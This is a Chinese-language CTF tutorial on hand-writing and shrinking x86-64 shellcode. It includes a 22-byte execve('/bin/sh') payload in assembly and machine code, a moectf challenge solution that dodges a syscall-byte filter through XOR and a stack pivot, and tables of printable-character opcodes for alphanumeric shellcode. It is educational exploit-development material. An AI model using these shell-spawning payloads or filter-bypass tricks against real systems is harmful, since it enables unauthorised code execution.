Shellcode编写入门

Shellcode编写入门

为什么要手写shellcode?

现在的题目对shellcode做了越来越多的限制,比如限制长度,限制特定字符等等。所以一些通用性的shellcode已经很难再起作用,针对某个二进制文件编写特异化shellcode势在必行。

开始之前

当然也不可否认shellcode生成工具的便捷性。适当利用也可以辅助我们来编写适合的shellcode。
常用的当然是pwntools模块下的shellcraft,比如shellcraft.sh()来生成execve(‘/bin/sh’,0,0)的汇编代码,还有shellcraft.open(‘flag’,0), shellcode.cat(‘flag’)等等,可以非常方便的生成指定架构下的汇编,但是pwntools会考虑很多情况(毕竟要考虑通用性的),所以肯定会比较长,实际上是有很大改进空间的。本篇的目的不是让读者从0开始写shellcode(写的多了也差不多可以直接搓了),只要能改进生成工具生成的shellcode以符合条件就可以了。

从简化工具生成的shellcode开始

本篇以execve(‘/bin/sh’,0,0)为例

假定我们的架构是x64的
先用pwntools生成一段来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>>> shellcraft.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

发现前面push 0x68, 和mov rax,0x732f2f2f6e69622f ,push rax 是把/bin///sh\x00push到栈上,但是如果没有对/bin/sh字符串做检测的话可以直接传/bin/sh\x00, 或者/bin//sh,所以可以简化为:

1
mov rax, 0x68732f6e69622f

mov rdi, rsp是把指向/bin/sh字符串的指针传给rdi寄存器,(因为execve的第一个参数实际上需要的是字符串的地址),由于刚刚把/bin/sh字符串push到栈上(此时在栈顶,也就说rsp此时指向/bin/sh),所以可以通过mov rdi,rsp把/bin/sh地址传给rdi寄存器。

这里非要改的话可以改成:

1
2
push rsp
pop rdi

这样子编译后只有2个字节,原来的用mov传参有3个字节,改写的操作就是把rsp的值push到栈上,在pop到rdi,也能起到传参的效果

push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101

这两步应该是为了绕过潜在的sh字串检测,所以先传一个异或后的值,后面再异或回sh,

如果没有检测的话是可以直接push 0x6873 (其实感觉这一大段都没什么用)

后面的xor esi, esi是把rsi置零,使用esi,而不用rsi,是因为用esi编译的字节会少

然后push 8, pop rsi,就是相当于mov rsi, 8, 用push pop编译出来的更小

但是直接push一个值到栈上要注意:

push 只能push一个32位数,超过32位不能编译(起码用pwntools的asm是这样子)

push 超过一个字节的数,会自动补全成32位,比如push 0x6873,就会编译为 hsh\x00\x00

但是如果只是push一个字节,就会编译为2个字节,比如push 0x8,机器码为 j\x08

后面这段没搞清楚目的是什么,如果只是为了把rsi和rdx置0的话,只需要2行xor就可以了

最后要给一个系统调用号给rax(x64架构execve调用号是0x3b)

最后syscall,完成调用!

很好,你已经学会怎么搓shellcode了

完整的汇编码:

1
2
3
4
5
6
7
8
9
mov rax, 0x68732f6e69622f	/* /bin/sh\x00 */
push rax
push rsp
pop rdi /* rdi -> /bin/sh */
xor esi, esi /* rsi = 0 */
xor edx, edx /* rdx = 0 */
push 0x3b
pop rax
syscall

编译成机器码看一看

1
2
3
4
5
6
7
8
9
10
11
>>> asm('''
mov rax, 0x68732f6e69622f /* /bin/sh\x00 */
push rax
push rsp
pop rdi /* rdi -> /bin/sh */
xor esi, esi /* rsi = 0 */
xor edx, edx /* rdx = 0 */
push 0x3b
pop rax
syscall''')
b'H\xb8/bin/s\x00\x00PT_1\xf61\xd2j;X\x0f\x05'

只有0x16(22)个字节!!!

再看看原来的shellcode的机器码

1
2
>>> len(b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
48

我们缩减了一半多的shellcode代码,并且执行相同的功能,这就是手搓汇编带来的()

OK,你已经学会手搓了,现在来实战吧

moectf changeable_shellcode

附件: changeable_shellcode

简单来说就是过滤了 \x0f\x05 然后shellcode长度不超过 0x28

一种思路是直接在后面通过异或之类的方法把syscall写在后面

可以先栈迁移到rwx段,当然为了避免对栈操作影响到原来写的shellcode,所以我这里就 add了 0x40

1
2
3
push rdx
pop rsp
add rsp, 0x40

然后就是正常构造 execve("/bin/sh", 0, 0) 即可

1
2
3
4
5
6
7
8
9
10
11
12
mov rax, 0x68732f6e69622f
push rax # 把 /bin/sh\0 push到栈顶
push rsp # 把 binsh字符串地址push到栈顶
pop rdi
xor esi, esi
xor edx, edx
xor eax, 0x6e696720 # 异或构造 \x0f\x05
push rax
push 0x3b
pop rax
push rsp # 此时rsp指向 \x0f\x05 (syscall)
ret # 把syscall地址push到栈顶就可以跳转过去getshell了

这个shellcode就只需要 0x22 bytes完全够用

一些特殊的要求的shellcode

可见字符限制

有时候会遇到shellcode只能使用可见字符的限制

  • 大部分寄存器的push pop都是可见的,而且除了r15,r14这类的,基本都是1一个字节,这对于某些限制长度的情况下特别好用
  • 部分xor,sub, and等操作

我这里简单列了个表(

reg 表示寄存器,后面的数字是位数,比如 reg8, 就是8位(也就是1字节)的寄存器,比如 al,ah寄存器,reg16如 ax,di寄存器

reg include
reg8 al, ah, bl, bh, cl, ch, dl, dh, spl, bpl, sil, dil, r8b, r9b, r10b, r11b, r12b, r13b, r14b, r15b
reg16 ax, bx, cx, dx, sp, bp, si, di, r8w, r9w, r10w, r11w, r12w, r13w, r14w, r15w
reg32 eax, ebx, ecx, edx, esp, ebp, esi, edi, r8d, r9d, r10d, r11d, r12d, r13d, r14d, r15d
reg64 rax, rbx, rcx, rdx, rsp, rbp, rsi, rdi, r8, r9, r10, r11, r12, r13, r14, r15

im 表示立即数,后面的数字也是代表位数, 比如 0x4141 就是 im16 (2字节立即数)

mem 表示内存地址,后面的数字表示取从该地址开始的多少位,比如 mem8 表示取该地址开始的1字节,会与 [] 配合使用

[xxx] 表示解引用,这和正常的intel asm语法差不多,比如 xor ax, [rbx]

上面的例子中, [rbx] 就是一个 [mem16], 是因为前面ax是16位所以能推导出 [rbx] 需要取2字节,当然也可以显示的通过 qword, dword, word, byte来指定取8/4/2/1 字节

push & pop

汇编 机器码 汇编 机器码
pop rax X push rax P
pop rcx Y push rcx Q
pop rdx Z push rdx R
pop rbx [ push rbx S
pop rsp \ push rsp T
pop rbp ] push rbp U
pop rsi ^ push rsi V
pop rdi _ push rdi W
pop r8 AX push r8 AP
pop r9 AY push r9 AQ
pop r10 AZ push r10 AR
pop r11 A[ push r11 AS
pop r12 A\ push r12 AT
pop r13 A] push r13 AU
pop r14 A^ push r14 AV
pop r15 A_ push r15 AW

xor & add

  • xor reg8, im8 , xor reg16, im16 , xor reg32/reg64, im32 (试了一下好像只有 rax 系列的才行?)
  • xor reg8/reg16/reg32/reg64, [mem8/mem16/mem32/mem64] (如果要类似 rax + xxxx这样子的地址最好还是加1字节偏移吧,超过一个字节(如:[rax + 0x40404040] 就很难全是可见字符了)
  • sub reg8, im8

example:

汇编 机器猫 汇编 机器猫
xor rax, 0x41424344 H5DCBA xor eax, 0x41424344 5DCBA
xor ax, 0x4141 f5AA xor ax, 0x6161 f5aa
xor al, 0x41 4A xor al, 0x61 4a
xor al, byte [rbx + 0x40] 2CA xor bx, [rcx + 0x41] f3YA
xor edi, [rax + 0x40] 3x@ xor rbx, [rbp + 0x40] H3]@
sub rax, 0x41424344 H-DCBA sub eax, 0x41424344 -DCBA

todo

Welcome to my other publishing channels